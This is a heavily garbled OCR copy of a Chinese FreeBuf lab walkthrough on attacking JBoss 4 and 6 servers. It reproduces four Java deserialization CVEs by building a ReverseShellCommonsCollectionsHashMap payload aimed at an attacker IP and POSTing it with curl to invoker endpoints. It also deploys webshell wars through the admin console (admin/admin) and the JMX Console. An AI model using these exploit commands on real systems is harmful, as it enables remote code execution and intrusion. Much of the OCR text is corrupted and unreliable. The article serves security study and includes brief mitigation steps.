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JBoss H|8){4 /24 - FreeBuf B Z 1T TP

Jboss —"ET J2EE WA RURIIBRIN RS 23,

—. Jboss HTT

Jboss E—METF J2EE BWAKCER BN BRE 22, JBoss LB ME LGPL & 8], Bl ATEE s B SR,
JBoss E—1EIE EJB WA RFIIRSE 2R, ¥ EJB 1.1, EJB 2.0 1 EJB3 HII5E, 18 JBoss #ZORSBABIELIF
servlet/JSP 9 WEB &28, —R&5 Tomcat 3y Jetty F8E(EMA,

ZAimO: 8080

—.Jboss &

TEHbLE: https://jbossas.jboss.org/downloads/

1. &3k jdk

XERTHANT, —ATEERE Jboss4, jdk i% 1.6, —A%ZE Jboss6.jdk if 1.7

XEBEABGER—T jboss5-7 AJLA#E jdk7 Z3F, jboss4 mJIA#K jdk6 ¥ {#H jdk8 AUIETA[E] JMX-console &1z 500;
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Lk jok DEW LEERS, BHAST, XEEAEKRT.

are-amda4 [—|_... Windows 7 Jboss6 ﬁ”_: Windows 7 Jboss4

N C:\Windows\system32\cmd.ex

Microsoft Windows [ffz4 6.1.7601] e ]
FRAETH (¢) 2009 Microsoft Corporation. {REFETHFIF.

C:\Users\dayu>java -version

java version "1.7.0_80"

Java(TH) SE Runtime Environment (build 1.7.0_80-b15)

Java HotSpot(TH) 64-Bit Server UM (build 24.80-b11, mixed mode)

C:\Users\dayu>

s6 i'» Windows 7 Jboss4

Y C:\Windows\system3
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C:\Users\dayu>java -version
java version "1.6.0_45"
Java(THM) SE Runtime Environment (build 1.6.0_45-b06)

Java HotSpot(TM) 64-Bit Server UM (build 20.45-b01, mixed mode)

C:\Users\dayu>

2. FEHHZIE Jbossb
T & jboss—6.1.0.Final:

l Mo sapport. archived releane

Mo duppedt, archived releaie

Ma fiuppert, archived meleais
Mg suppert. archived releare
Mo duppert, archived meleaie
Mo sapport. archived release

Mo tuppert, archived release

BEAN BN ¢ &
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Hl > AR (C) >

ESjpE vy s
Z R ’ L s
bea 2021/5/10 21:44 TiEE
navicatformysqg|l 2021/2/3 9:51 prg =
PerfLogs 2009/7/14 11:20 e
Program Files 2021/8/19 16:09 e
Program Files (x86) 2021/6/17 19:08 prg =
ProgramData 2021/2/3 0:37 prg =
Windows 2021/6/17 19:08 pvg o
23] 2021/5/10 21:29 v =
jboss-6.1.0.Final 2021/8/2010:13 TiEE
———
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MEWRES:

JBOSS_HOMEERC:\j

boss-6.1.0.Final

JBossH [ #4: i & 4% - FreeBuf 2% 22247 1k 1/~

- r e
® T D -
e BEAATHAENNEEES
¥ Guwms | saEn - 2
¥ EREE || gwng|mf | 8% | SReF|sE
l‘? BEiTxen®n, So5EHTERET. WAL
¥ BuERel| S &
mmaE, BREHE,. AR, CLEERATE
. e
#mG... sk L
AFRExE oREm: JEOSS_HOME
SEETrRE=naEE
TRV : C1h Jboag=6. 1. 0, Final|
eBE... ] |l Cae 0w |
[SERLT | B
RiEEdh. ESampgmme REEEcE
3 | =m n -
m}—l ‘. ComBpec C\Windows\systend2\ond. exe =
FE_NG_HOST C. .. WO
FRER®... WUREER_OF_FR... 2
i _CG ¥Vindcows _NT =
| RE | | il ] A l.l{ﬂ". d | kI, .. ] I_ ]
h TR ’
[ =® EA |
i TeriE: WORKGROUP
kTSP G ruasc BEE
path A0 :
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;%JBOSS_HOME % \bin;

el == - . L == J
w;
e & 33 )
TEAN: Path

it
]
oo
]

@ [ mA
24528 (5)

TE B -
NUMEEE_OF FE... 2 F
05 Windows NT
Fath v Windowstevsten32; O\ Windows ;. ..
FATHEXT LCOM; . EXE;.BAT;.CMD;.VES,.VEE,.... «

HRW... || ®EO... || #RO |

| T | iy
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TiZB F T run.bat B5h

C:\jboss-6.1.0.Final\bin

y nputitream.
10:20:14 641 INFO [StdSchedulerFactory] Quartz scheduler version: 1.8,
10:20:14 641 INFO [QuartzScheduler] Scheduler JBossfOuartzScheduler % NON CLUSTE
RED started.
10:20:14,859 INFO [ConnectionFactoryBindingService] Bound ConnectionManager 'jb
pss. jca:service=DataSourceBinding, name=DefaultDS' to JNDI name " java:DefaultDS®
10:20:15,000 INFO [ConnectionFactoryBindingService] Bound ConnectionManager 'jb
pss. jca:service=ConnectionFactoryBinding,name=JnsXA" to JNDI name ' java:JmsXA'

;15,846 INFO [xnio] XNIO Uersion 2.1.8.CR2

:15,046 INFO [nio] XNIO NIO Implementation Uersion 2.1.0.CR2

:15,249 INFO [remoting] JBoss Remoting version 3.1.0.Beta2

:15,312 INFO [TomcatDeployment] deploy, ctxPath=/

:15,312 g B [HornetOServerImpl] trying to deploy queue jms.queue.Expiry

115,421 (E B [HornetQServerImpl] trying to deploy gqueue jms.queue.DLQO
115,436 {5 & [service] Removing bootstrap log handlers
:15,468 INFO [org.apache.coyote httpl1 . Httpl1Protocol] Starting Coyote HTT
on http-127.0.0.1-8080
:20:15,468 INFO [org.apache.coyote.ajp.AjpProtocol] Starting Coyote AJP/1.3 o
ajp-127.0.0.1-8009
10:20:15,468 INFO [org.jboss.bootstrap.impl.base.server.fAbstractServer] JBossASH
[E.1.8.Final "Neo"] Started in 12s5:778ms ]

I info BIAEEIRLIN, ZAHRIALINTAIE].,

https://www .freebuf.com/articles/web/286571 .html 7/55
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< Welcome to JBoss AS X

v
< C © 127.0.0.1:8080

& Google Chrome FRERIEANEE RS0 b

E

L.
e JBoss
®
® @ b Red Hat

Manage this JBoss AS Instance

JBoss AS Online Resources

= JBoss AS Documentation
« JBoss Wiki

JBoss AS JIRA
JBoss Forums
+ 1Rnss Mailina lists
https://www.freebuf.com/articles/web/286571 .html 8/55
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e 4 e ey

JBoss Application Server

AR ZIFEIA TR, HA1EEE C:\jboss—6.1.0.Final\server\default\deploy\jbossweb.sar\server.xm| KL &
SCINSMATAIE], 3§ address="${jboss.bind.address}" 2% address="0.0.0.0"

!!! B server. a1 |

<5erver>

<!-- gptional listener which ensures correct init and shutdown of APR,

and provides information if it is not installed --»
<Listener className="org.apache.catalina.cors.AprLifecyclalistener” SSLEngine="en" />
<!--Initialize Jasper prior to webapps are loaded. Documentation at /docs/jasper-howto.html -->
<Listener className="org.apachs.catalina.cores.JasparListensc” />

<Service name="Jbozs.wab">

<!-— A HTTP/1.1 Connector on port BOBD -->
<Connector protocol="HTTP/1.1" port="§{4boss.wab http.port}" |addrezs="0.0.0.0"
redirectPort="§{Jjboss.wab https.port}"” />

<!-- Add this option to the connector to avoid problems with
.NET clients that don't implement HTTPF/l.l correctly
restrictedUserigents="~_*MS Web Services Client Protocol 1.1.4322.%5"
==

<!-—- A AJP 1.3 Connector on port 8009 -->
<Connector protocol="AJE/1.3" port="§{jboss.web.ajp.port}” address="§{jboss.bind, address}"”
redirectPort="%{jboss.web.https.port}" />

<!-- SSL/TLS Connector configuration wsing the admin devl guide keystore

<Connector protocol="HTTPS1.1" SSLEnabled="trus"
port="5{jboss.web.https.port}"” address="5{jboss.bind.address}"
scheme="httpa" secure="true" clientAuth="false"

= Markup Language file length: 8,533 lines: 171 Ln:17 Col:77 Sel:0|0

R1FIEER jboss, BIFISEINIMMIAIE];
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[_'|_.., Kali-Linux-2020.4-vmware-amda4 [—|T. Kali-Linux-2021.2-vmware-a... [—|T. Windows 7 Jbosst

8 Welcome to JBoss AS - ... ] root@kali: ~

Welcome to JBoss AS - Mozilla Firefox

& c @ © 4 192.168.10.154

o\ Kali Linux % Kali Training % Kali Tools ¥ Kali Forums < KaliDocs e NetHunter Offens

@ @ by Red Hat

Wlanage this JBoss AS Instance

« Administration Console
« JMX Console
« JBoss Web Services Console

JBoss AS Online Resources

+ JBoss AS Documentation
+ JBoss Wik

+ JBoss AS JIRA

s JBoss Forums

https://www .freebuf.com/articles/web/286571 .html
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+ JBoss Mailing Lists

JBoss 1 [l il 5 45 - FreeBuf 422447 Ik

JBoss Application Server

3. TEHZTE Jboss4

Jboss4 1 Jboss6 NELERSFE—1F, W—RERIZEINNIERIECE X 4 LB RIS A K—H;

https://www.freebuf.com/articles/web/286571 .html

ReiRin [ mig |

EE  E | SR
HiEEs

rw;
RERGTE & [
TEE W) Path \
TE{V) rsPowerShellbwl. 0% %TBOSS_HOME%\bin;
 wmE || mA

HETE(E)
B & 7 .
JEOSS_HOME C:hjboss—d4, 2. 5. G4 =]
NUMEEE_CF_FPR... 2
05 Windows NT
Fath C:wWindowshswstem32; C:oi\Windows ... =
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JBossH [ #4: i & 4% - FreeBuf 2% 22247 1k 1/~

HEW... | [ ®EO©.. || #Eeo |

C@mE | mE
= ==

HETEBER, BX server.xml, W TFEKINIHIG

C:\jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer

el =R Rl L LEIE A L el L I R L e i T T

E e o]

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
3z
33
34
35
36

start to allow web apps to be deployed before starting the
CONNectors.

-3

<Service name="jboss.web">

£!-- A "Connector™ represents an endpeint by which reguests are received
and responses are returned. Documentation at :
Java HTTF Connector: fdocs/config/http.html (blocking & non-blocking)
Java AJP Connector: fdocs/config/ajp.html
APR (HTTP/AJP) Connector: fdocs/apr.html
Define a non-35L HTTP/1.1 Connector on port BOBO

-

ECONNEEEeE port="06080" address="0.0.0.0"
maxThreads="250" maxHtrtpHeadersSize="8192"
emptySessionPath="trua" protocol="HTTPS1.1"
enableLockups="false"” redirectPort="8443" acceptCount="100"
connectionTimeout="20000" disableUploadTimecut="trus" §B

<!-- Define a S5SL HITE/1.1 Connector on port 8443
This connector uses the JSSE configuration, when using APR, the
connector should be using the OpensSsSL style configuration
described in the APR documentation -->»
£l==
<Connector port="§443"™ protocol="HTTEF/l.1" SSLEnabled="true™
maxThreads="150" scheme="https" secure="true"
clienthAuth="false" sslProtocol="TLS" />
-

https://www .freebuf.com/articles/web/286571 .html

12/55



2021/11/21 F4-3:24 JBossH )44 I A 24 4 - FreeBuf 4% 224470k 1

ﬁ Kali-Linux-2020.4-vmware-amda4 [ Kali-Linux-2021.2-vmware-a... ﬁ Windows 7 Jboss4

m kB #» Welcome to JBoss™ - M. ] root@kali: ~

=% Welcome to JBoss™ - Mozilla Firefox

B Welcome to JBoss™

& ¢ @ © /& 192.168.10.213

e\ Kali Linux % Kali Training % Kali Tools % Kali Forums # KaliDocs e NetHunter Offensi

JBoss Online Resources

+ JBoss AS Documentation
+ JBoss Wik

« JBoss JIRA

« JBoss Forums

JBoss Management

+ Tomcat status (fulll (XML)
+ JMX Console

https://www.freebuf.com/articles/web/286571 .html
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JBoss 1 [l il 5 45 - FreeBuf 422447 Ik
* J50SS WeD Lonsole

JBoss™ Application Server

=. Jboss &5

1.Jboss5.x/6.x RF5tiRiE (CVE-2017-12149)

i1 [R R

ZREAN Java REFIMEIREE, 727ETF Jboss B Httplinvoker B{EHEY ReadOnlyAccessFilter g2, %I ER T
REBTEALZERNENER TEWERBEFIHNEERETRFEIIE, MNMSHTREETUERS SR EHITEER
E

oM

Jboss AS 5.x
Jboss AS 6.x

i 3 A

1518) / invoker/readonly, ix[E] 500 (NESIRSZ23HEI=—HIRSB231mEY CGl, ASP. JSP FRERALHEIR) , R TIEEF
ERFIIRE

HTTP Status 500 -

https://www.freebuf.com/articles/web/286571 .html
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BTl Ecepiion repor

jme=sage
I The served encountersd & internal e ()| Shal prevented it from fullilng his reouest

java.lo.EOFException
java.io.0ObjectInputStream$PeekInputStream. readFully{Unknown Source)
java,lio.0bjectInputStream$BlockDatalnputStream, readShort{Unknown Source)
java.lio.ObjectInputStream. readStreamHeader (Unknown Source)
java.lo.0bjectInputStream. <init>(Unknown Source)
org.jboss.invocation.http.servliet.ReadOnlyAccessFilter .doFilter{ReadOnlyAccessFilter.java:102)

m .

Boss Web/3.0.0-CR2Z

i = 1

TEHIREFRIBEIA: https://github.com/joaomatosf/JavaDeserH2HC

T

~/Desktop
Jay 2HC

rH2
= ~/Desktop/JavaDeserH2HC

Alien.java leverses C acti ashMap
: lections.xml

LICENS
README . md

Hwix (FE java HRF)

cd /opt
curl http://www.joaomatosf.com/rp/java_files/jdk-8u20-linux—x64.tar.gz —o jdk-8u20-linux—x64.tar.gz
https://www .freebuf.com/articles/web/286571 .html 15/55
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tar zxvf jdk—8u20-linux—x64.tar.gz
rm —rf /usr/bin/java*

In —s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version

java -version

XERELLRERY

XHHF)  EhfE(A)  SwiE(E) EAR(V) FEIH)

- ~/Desktop

Picked up _JAVA_OPTIONS:

java version "1.8.8_
(TM)} SE Runtime Environment (build 1.8
HotSpot(TM) 64-Bit Server VM (build

- ~fDesktop

Picked up _ A_OPTIONS: -Dawt.

javac 1.8.0_28

- ~fDesktop

FiEemr

XIHF)  =hiE(A) “WEE(E) EH(V)

- ~/Desktop

g.aatex

root(@kali: -~ /Desktop

#BEH(H)

12345

https://www .freebuf.com/articles/web/286571 .html
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R — Gadget: ReverseShellCommonsCollectionsHashMap, %RiZHAEMFIIHEEE; £/

ReverseShell CommonsCollectionsHashMap.class;

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap. ja

va

~/Desktop/JavaDeserHZHC

« » COMMONS—CO 1 Ctions

Picked up _JAVA_OPTIONS: -Dawt.u ystemAAFontSettings=on -Dswing.aatext=true

~/Desktop/JavaDeserH2HC

E R F S EE ReverseShellCommonsCollectionsHashMap.ser

java -cp .:commons—collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192

.168.10.65:12345

~fDesktop/lavaDeserH2HC
COMMONS=C ections=3.2.1.jar Re

https://www .freebuf.com/articles/web/286571 .html
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FFA ReverseShellCommonsCollectionsHashMap.ser, LA # & &%

ReverseShellCommonsCollectionsHashMap.ser £

curl http://192.168.10.154:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

~fDesktop/JavaDeserH2HC

Feet [ kal - .'I:lril'.TuF

SWEHE) ®HRMV)  ERNH)

~-fDesktop

FXIhfz5& shell,

— A = =_n

https://www .freebuf.com/articles/web/286571 .html 18/55
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ZEIpIF

1. FHERFTARAS o

JBossH [ #4: i & 4% - FreeBuf 2% 22247 1k 1/~

2. fIB& http—invoker.sar B, ERIRUT

C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar

e |
g¥ » EHEEES (C:) » jboss-6.1.0.Final » server » default » deploy » v| 45 I | #E de
as3Es - HE ~ FEeTi e
ZHR ’ L sem o
I hometq 2021/8/2010:13 it
| http-invoker.sar 2021/8/2010:13  xisE
£ }. jbossweb.sar 2021/8/20 10:13  szissk
| jms-ra.rar 2021/8/2010:13  ritsE
! mod_cluster.sar 2021/8/2010:13  =rffse
| ROOT.war 2021/8/20 10:13  =ritsE
L. security 2021/8/2010:13  srig3E
I uuid-key-generator.sar 2021/8/20 10:13 g ==
| xnio-provider.jar 2021/8/2010:13 i
£ admin-console-activator-jboss-bean...  2011/8/16 8:48 XML i 2 KB
® cache-invalidation-service.xml 2011/8/16 8:48 XML 38 3 KB
£ ejb2-container-jboss-beans.xml 2011/8/16 8:48 XML St 1 KB

3. HINWTFREBZE http—invoker.sar T web.xml B security—constraint f5%5 7, FBF X http invoker BTk R,

https://www .freebuf.com/articles/web/286571 .html
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<url-pattern>/*</url-pattern>

1R

C:\jboss-6.1.0.Final\server\default\deploy\http—invoker.sar\invoker.war\WEB-INF

default » deploy » http-invoker.sar » invoker.war » WEB-INF »

HE - e

F

EiR =2 HEE ey b\

). classes 2021/8/20 10:13 prglasos

1 jbOSS-WEb.XI’I’" 2011/8/1512:39 XML 3 1KB
£ webxml 2011/8/1512:39 XML 2#% 8 KB

N

<security-constraint>

<url-pattern>/*</url-pattern| h-_____

<web-resource-collection>

</description>
<url-pattern>/restricted/*</url-pattern>»

https://www .freebuf.com/articles/web/286571 .html

<web-resource-name>HttpInvokers</web-resource-name>

<description>An example security config that only allows users with the
role HttpInvoker to access the HTTP invoker servlets
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<http-method>GET</http-method>
<http-method>POST</http-method>

</web-resource-collection>
<auth-constraint>
<role-name>HttpInvoker</role-name>

</auth-constraint>

</security-constraint>

<login-config>
<auth-method>BASIC</auth-method>
<realm-name>JBoss HTTP Invoker</realm-name:>

</login-config>

2.JBoss JMXInvokerServiet FE5{tiRmRE (CVE-2015-7501)
REE

JBoss A / invoker/JMXInvokerServlet F&123FIMFEL, JBoss B jmx A FRFIIME ., JBoss
£ /invoker/JMXinvokerServiet 1§KAIZEY TP EANBNN R, AREMNIFA Apache Commons Collections H1fY Gadget #
TERNRE,

=S IMhRZS

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10JBoss AS (Wildly) 6 and earlierJBoss A-MQ 6.2.0JBoss Fuse 6.2.0JBoss
SOA Platform (SOA-P) 5.3.1JBoss Data Grid (JDG) 6.5.0JBoss BRMS (BRMS) 6.1.0JBoss BPMS (BPMS) 6.1.0JBoss Data Virtualizati
on (JDV) 6.1.0JBoss Fuse Service Works (FSW) 6.0.0JBoss Enterprise Web Server (EWS) 2.1,3.0

iR A 38 E

J5i8l/invoker/IMXInvokerServliet, REWTFIIE, REZEOFK, HEOFERFIINRE.

https://www.freebuf.com/articles/web/286571 .html 21/55
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€« & o 192.168.10.154

o Kali Linux & Kali Training & Kali Tools & Kali Forums

L ]
@@ o Red Hat

Wanage this JBoss AS Instance

il C oS ole

« JWUX Cor
= JEoss Web Senapes Console
1Boss AS Online Resources

« JBoss AS Dooumeniaion
= JEoss Wik

« JEoss AS JIRA

# JBoss Fonams

« JBoss Mailing Lists

! MetHunter Offensive Security

Opening JMXInvokerServiet

What should Firefox do with this file?
Br

Do this automatically for files like this from now on

https://www .freebuf.com/articles/web/286571 .html

MSFU
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i =2 I

XEBF A FEAERMNEIIMEE ReverseShellCommonsCollectionsHashMap.ser, &i%ZFl / invoker/JMXInvokerServlet
EOP;

curl http://192.168.10.154:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

root@kali: - [Desktop

R Ih 5% shell,

ZEHP
B

https://www .freebuf.com/articles/web/286571 .html 23/55
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3.JBossMQ JMS kF5tiRwiE (CVE-2017-7504)
RERE

XNRIES CVE-2015-7501 —#, #ZFHA T Apache Commons Collections FIEREEHTT Java REFILREF]
. 27 F CVE-2017-7504 FIFEZE / jbossmg-httpil/HTTPServerlLServiet, CVE-2015-7501 foFI 2L /

invoker/JMXInvokerServlet,

o IMhRZS

Jboss AS 4.xKZHIRRA
iR B E

1hi8)/ jbossmg-httpil/HTTPServerILServiet, HIMTE, RBEFEZRE

¢« Kali Linux % Kali Training W Kali Tools & Kali Forums # Kali Docs & NetHunter Offensive Security MSFU

This is the JBossMQ HTTP-IL

RS
XEFIA LEERFNFIMCENE, LXRIBEOH:

https://www.freebuf.com/articles/web/286571 .html 24/55
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curl http://192.168.10.213:8080/jbossmg-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap
.ser

root @kali; = Thesktop

& (V)

[192.168.10.213] 49272

porat iondededefe et b e o

SO eOd TPus B,
IPve @8 . . .
£l € R

IRl

Gl G Getb o0t |0
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o A

F TN 5% shell

Z2HP

FRBNEFTARAS

4.JBoss EJBInvokerServiet &E5{tiRE (CVE-2013-4810)
AR

ItiRIEF CVE-2015-7501 i®ERIEERE, MmENXAIMAE TR N REIZIZENHFITEHR JMXinvokerServiet #l
EJBInvokerServlet Fl|FRYZE org.jboss.invocation.MarshalledValue #1THIRFFIIRIE, T web—console/Invoker FI|
#I=Z org.jboss.console.remote.RemoteMBeaninvocation 1T & FFIMtFH L 1EMERISXE,

=101
jooss 6.x ERZN
i e 38 E

iplal/invoker/EJBInvokerServliet, @R rIMAIAEINEI, HEBEERE
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g M KaliTools X Kali Forums = KaliDocs X NetHunter Offensiw MSFU

=% Opening EJBInvokerServiet
You have chosen to open:

B EJBInvokerServiet
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i =2 I

AEF B EEAERR. ser X4, Bit POST Z#HEIFIE L, KREERE shell

curl http://192.168.10.154:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

~/Desktop/lavaDeserHZHC

-18.15

L2 AL P AL P U

i=6.1.8.Final\bin>ipconfig

GGG GOt OO Ri i

OGO GO0 NS B
i i K o i =T
IPvs 8 | | |

L T P T

https://www .freebuf.com/articles/web/286571 .html
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43E3E}:

5.Administration Console 55[0%

i [ 2R

Administration Console BEENHEFEHO<S, EXEARMULERE war &
MRS

RIS IE

<« > C @ © 4 192.168.10.154

o Kali Linux % Kali Training % Kali Tools % KaliForums # KaliDocs & NetHunter

@ @ by Red Hat

Manage this JBoss AS Instance

« Administration Console
« JMX Console
« JBoss Web Services Console

JBoss AS Online Resources

+ JBoss AS Documentation
+ JBoss Wik
& TRnoce AT TIODMA
https://www .freebuf.com/articles/web/286571 .html 29/55
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+ JBoss Forums
+ JBoss Mailing Lists

JBoss Application Server

<« ¢ @ D 4 1921

o Kali Linux & Kali Training M Kali % Kali Forums = Kali s ¢ NetHunter Security MSFL

@ JBoss AS 6 Admin Console

Welcome to the JBoss
AS 6 Admin Console.

Please login to proceed.

Username

Password

Login

AP AP S -
30/55
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T = 2

admin/admin 530< %%, =i add a new resource 1% war &

https://www.freebuf.com/articles/web/286571 .html

& Kall L
&5 B

JBoss 1 [l il 5 45 - FreeBuf 422447 Ik

0ss AS 6 Admin Console

Web Application (WAR)

Summary |

a standalone web application (WAR)

hame Stahm

MEM[‘&'&EI%\

Acton

Al
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L WIN-JTSNVOPRIS] : JBossAS Servers : JBoss AS 6 (detoult) : Applcations : Web Applcation (WAR]S
Web Application (WAR)

Summary | Configuration | Metrics | Control | Content

g Resource shell.war created successfully!

a standalone web application {WAR)

lﬁd d anew resource

ROOTwar uP [ Delete |
admin-console.war up [ Delete |
mc-console vey v B
shellvear L o |

Total:4

=i war B ANT—E, BIRESHN stop, M= start, EKINEZ start, %

https://www.freebuf.com/articles/web/286571 .html
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JBossH Al i A8 4 -

FreeBuf i 4% 22447\

WIN-1TSNVOPBIS3 : JBossAS Servers - JBoss AS 6 (detau)

shell.war

Applications : Webh Application (WaRS

shiell v

Summary l Configuration Iﬁ]ﬁ]ﬁ Status: v Available

General Properties

Name: shell war
Version: -
Description: a standalone web applicabion (WAR)

Traits

Exploded?: no
Context Root: shall
Virtual Hosts: localhost

Path; Cjboss-6.1 0 Finalsenserdetaddeploy\shell war

O S R INEF

https://www .freebuf.com/articles/web/286571 .html
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W hitps/f192.168.10.1 54:8080/shell/shell jsp

W

—t— A P §

https://www .freebuf.com/articles/web/286571 .html

httpef/192.168.10.154:8080/shell/shell_jsp

MR AR

5.

JBoss 1 [l il 5 45 - FreeBuf 422447 Ik

F¥#chell SIREEH S=WEE FirsiE | 5 EDhe

EoE Eimnm
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ZEIF

1B, BRXHEEN

C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

» AR (C) » jboss-6.1.0.Final b server b default » conf b props

FaErig
-~
EiR g ==3it] F
hornetq-roles.properties 2011/8/16 8:48 PROPERTIES 3z 1 KB
hornetg-users.properties 2011/8/16 8:48 PROPERTIES 3z4% 1 KB
jbossws-roles.properties 2011/8/16 8:48 PROPERTIES 324 1 KB
jbossws-users.properties 2011/8/16 8:48 PROPERTIES 3zt 1 KB
jmx-console-roles.properties 2011/8/16 8:48 PROPERTIES 3r{% 1KB
jmx-console-users.properties 2011/8/16 8:48 PROPERTIES 3244 1 KB

N

f i CA\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties - Notepad+ +
XH(F) SRER(E) ME(S) MB(V) W|WBN) B\EL) RE(M IR(O) =M) EF(R) &P BOwW) ?
HEE . LBI4RDIpe eyt xEBE IS T1EEEAHA | GE

B veb. nliﬂ[ﬂ server. nlﬂlﬂ web sl il [H jax-console-users. propertiestd
1 # A sample users.properties file for use with the UsersRolesLoginModule
Z admin=admin
3

https://www.freebuf.com/articles/web/286571 .html
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gy E MR Administration Console T1H
Jboss k7S >=6.0,admin—console TIEEKRH

C:\jboss-6.1.0.Final\common\deploy\admin-console.war

6.0 ZHIRVARAS, B&IZH

C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war

6.JMX Console FKE{iA)EE
i [RIE

TR HI A= SEARIE, BIAER TIAE http://ip:8080/jmx—console FLAI ATHRIBIBIZHIA, THEMANAF ZFZEBH A
MEENT JBoss WERBEENES, HELEARD, FERERE.

AR
JBOSS 2R
R3S IE

s E T JMX Console #N\TTHE

https://www.freebuf.com/articles/web/286571 .html 36/55



2021/11/21 F43:24
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JBoss 1 [l il 5 45 - FreeBuf 422447 Ik

B welcome to JBo X [ JBoss IMX Manageme

< - C @ © & 192.168.10.213

! KaliLinux %/ Kali Training ¥ Kali Tools ¥ KaliForums <« KaliDocs & NetH

JBoss Online Resources
« JBoss AS Documentation
+ JBoss Wiki

+ JBoss JIRA
+ JBoss Forums

JEoss Management

» Tomcat status (full) (XML
+ JMX Console

+ JBoss Web Console

JBoss™ Appli
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i =2 I

Joossd.x BIEI:

kali FF i3 izfEARSS,

JBoss 1 [l il 5 45 - FreeBuf 422447 Ik

NT TEEE war &

reot@kali: ~fDesktep
Nt i fwig EE BH)
.. ~/Desktop

SimpleHTTPServer 80
on @ @ port 8@

HN JXM Console Zf5, %! jboss.deployment

https://www .freebuf.com/articles/web/286571 .html
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< C @

o Kali Linux % Kali Training % Kali Tools M Kali Forums <+ KaliDocs & NetHunter
jboss.beans

» name='jbossws.sar#jbossws.beans',service=JBossBeanDeployment

jboss.cache

+ service=InvalidationManager

jboss.console

* sar=console- mgr.sar

jboss.deployer

¢ service=BSHDeployer

jboss.deployment

» flavor=URL type=DeploymentScanner

jboss.ejb

https://www.freebuf.com/articles/web/286571 .html 39/55
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persistencePolicy=database,service=EJBTimerService
retryPolicy=fixedDelay,service=EJBTimerService
service=EJBDeployer

service=EJBTimerService

RiHERE void addURL(), HINIZFE war 88822 f5, =7 invoke

m void suspendDeployment()

Terminator

MBean Operation.
b g d

ParamType ParamValue ParamDescription
. ‘pl ‘java.net.URL‘ (no description)

shell.jsp Invoke

void addURL()

:

shell.war

MEBean Operation.

Param] ParamType ParamValue ParamDescription

‘pl ‘java.net.URL “ http:HlBE.lﬁB.9.22?fshell.war| ] (no description)

Invoke

EIEX T IIE LR, =i Apply Changes
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JBossH [H] -l i 4 - FreeBuf 4% 22 247k T

MBean description:

Managpement Bean.

List of MBean attributes:

___ | Vawe | Description |

IWM—IEIWIM
LURLList Lwa util. List |FEW | [file:/C:fjboss-4.2. 3. GAfserver] |I'u'|Baan Attribute.
Filter Lawa.l&ng.smng |R'|"||' org.jboss.deployment. scanner. |MBean Attribaite.
[StateString hwn lang.String |H |Slnr|:ed |MBEan Attribute.
ISIvnp'I'ln‘IEDu[ |Inng |HW | GO000 |MBE&n Atiribute.
RecursiveSearch|boolean RW [OTe False MBean Attribute.
State fint R 3 MBean Attribute.
Fitterinstance |urg.|l:|oss.ml.pmlom.UR LListerSURLFilter | RW org.jboss. deployment scanner. MBiean Attribute.
URLComparator Lawa.mng.smng |Rw org.jboss.deployment. Deploym |MBean Attribaite.
-Deplnj.rer Lmu.mm;emm.ﬂbqecthlmlw_ |HW | |boss.system:senvice=MainDep !ﬂﬂ_ﬂm|MBe&n Attribute.
ScanEnabled  |boolean RW |OTrue False MEean Attribute.
ScanPeriod ||nng |'|'|.I' MBean Atribute.
.LI'Fth Lma.mmg.snruu'lg Iw | |MBean Attribute.

Apply Changes ‘h—_____

https://www.freebuf.com/articles/web/286571 .html
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JBoss 1 [l il 5 45 - FreeBuf 422447 Ik

REFE| JMX Console TH, FHF—2, RIFEFTUNELIBEMIN

jboss.web.deployment

id=-2088151004,war=jmx-conscle.war

id=-941749290,war=ROOT.war

id=1249257607 war=invoker.war

id=544608276,war=jbossws-context.war

id=688989666,war=web-console.war

id=79389193 war=jbossmq-htipil.war

id=95834518,war=shell.war \

jhoss.ws
BN Sl BRI E 1R
W httpy//192.168.10.213:8080/shellfshell,jsp - O >
URL:  http:/f192.168.10.21 3:8080/shell/shell jsp Dl

BEEED  &SHiT

https://www .freebuf.com/articles/web/286571 .html
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JbossB.x BNEI:

TREAS—1F

< > C © 4 192.168.10.154:3080

o Kali Linux % Kali Training % Kali Tools M KaliForums <« KaliDocs e NetHunter

® @ by Red Hat

IManage this JBoss AS Instance

« Administration Co
« JMX Console
+ JBoss Web Services Console

JBoss AS Online Resources

+ JBoss AS Documentation
s JBoss Wiki

+ JBoss AS JIRA

+ JBoss Forums

+ JBoss Mailing Lists
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I JBoss Application Server

R
.
° s JMX Agent View SErS——
® jboss system:*
® @ by Red Hat WIN-1TSNVOPBIS3 (127.0.0.1) - default Wog

Object Name Filter
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EI1ZTIEH 2 methodindex J 170r19 By deploy, ESIRiE war G HITIRIZERE

Hiris B2 Manmprrresd Carriske - W1H- I TRROPRIGL L1700 L

'3

» | ] =
™ m B B e TR s el 1P e |
. andapiag void Mean Oparation. | —
LI Lo [ [reo e
art il e Coptt b e
Object Hame Filter | [Rr——— el
lganDepirymeraonest o boat Sepiover wrane s DeploymertConnea Eran Dpersbion |
Besse Obieot Name Fier iacn
v IMEPOCTE AL
: LEE s TS, ligad iy
+ vl Mol
+ i
+ el 0 IO drplag
+
+ iR ey
* I T
+ G LA [ialregiwyed
+ G denigeTe
* B sl
e = -
5 sprcier (D] Corstle [ Ditmsper T4 Hotwork [} Sty Eior (74 Parformance () Movory [ Seosnge o ooty [} Wiat's Hew B g x
+ 7 r——
i il = Fles
o 1 - _.
) =
[
"]

\ A — S
n—

Bl e leng Suing [ SEsCripioe) nOp-A 192, 168, 10 65shell i I
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wrar M iy ChEer B ) - = N . = = _'___-d,

[ [ Bl jawanetURL [rep—

SimpleHTTPSs
@ @
b:46] "GET / HTTP/1.1" 200 -
146] code 4@4, message File not found
146] "GET /favicon.i HTTP/1.1" 4B4 -
